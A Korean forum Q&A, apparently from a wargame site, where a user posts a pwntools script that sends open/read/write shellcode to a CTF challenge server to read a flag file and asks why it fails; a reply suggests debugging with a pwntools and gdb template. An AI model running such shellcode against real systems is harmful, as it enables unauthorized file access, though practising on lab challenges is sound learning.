질문이요....
from pwn import *
p= remote("host1.dreamhack.games",9907)
pay = pwnlib.shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
pay += pwnlib.shellcraft.read("eax","esp",0x100)
pay += pwnlib.shellcraft.write(1,"esp",0x100)
payload = asm(pay,arch="AMD64")
p.sendline(payload)
print(p.recvline())
이걸로 위 문제가 왜 풀리지 않을 까요?
#pwnable
작성자 정보
답변
1
Rasser
워게임: 20
아마 쉘코드를 잘못짜셔서 그렇습니다. 빼먹은 부분이 있는지 확인해주시는게 좋을거 같습니다.
그리고 로컬에서 쉘코드를 실행했을 때 레지스터 값들도 첨부해주시면 다른분들이 답변해주시기 더 편할거에요.
전 아래 형식을 주로 사용합니다.
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process('binary file')
e = ELF('binary file')
gdb.attach(p) # 현재 프로세스를 gdb에 붙임, remote는 안됨
shellcraft.amd64.함수이름
p.interactive()